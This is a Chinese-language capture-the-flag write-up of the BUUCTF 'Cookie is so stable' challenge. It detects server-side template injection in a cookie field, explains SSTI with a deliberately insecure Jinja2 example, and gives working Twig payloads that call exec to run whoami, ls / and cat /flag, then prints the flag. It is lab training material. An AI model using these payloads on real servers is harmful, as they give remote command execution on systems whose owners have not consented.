BUUCTF——Cookie is so stable
进入靶场
页面有点熟悉 跟之前做过的靶场有点像
先简单看一看靶场信息
有几个功能点
flag.php
随便输了个admin
根据题目提示
应该与cookie有关
抓包看看
构造payload
Cookie: PHPSESSID=ef0623af2c1a6d2012d57f3529427d52; user={{7*'7'}}
有回显
漏洞能利用
确定了是SSTI注入漏洞
简单解释一下SSTI注入漏洞
SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,发生在应用程序使用模板引擎渲染用户输入时。当用户输入被直接嵌入到模板中而没有经过适当处理时,攻击者可以注入模板指令,从而在服务器上执行任意代码。
常见的易受攻击的模板引擎
- Java: FreeMarker, Velocity, Thymeleaf
- Python: Jinja2, Mako, Tornado
- PHP: Twig, Smarty
- JavaScript: Pug (Jade), Handlebars, EJS
- Ruby: ERB, Slim
漏洞原理
当应用程序这样处理用户输入时容易受到攻击:
# 危险示例 (Python/Jinja2)
from jinja2 import Template
user_input = request.GET.get('name')
template = Template("Hello " + user_input)
rendered = template.render()
攻击者可以提交{{7*7}}
作为输入,如果输出是Hello 49
,则表明存在SSTI漏洞。
漏洞危害
- 远程代码执行(RCE)
- 敏感信息泄露
- 服务器文件系统访问
- 网络访问
- 权限提升
检测方法
尝试插入简单的模板表达式如{{7*7}}
、${7*7}
或<%= 7*7 %>
,观察是否被计算
确定是php的SSTI漏洞
构造payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls /")}}
回显不完整,那就盲猜在根目录下
构造payload直接读取
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
拿到flag
flag{82e4f065-ae52-4f68-b994-ef7cd86b13be}
下播!!!!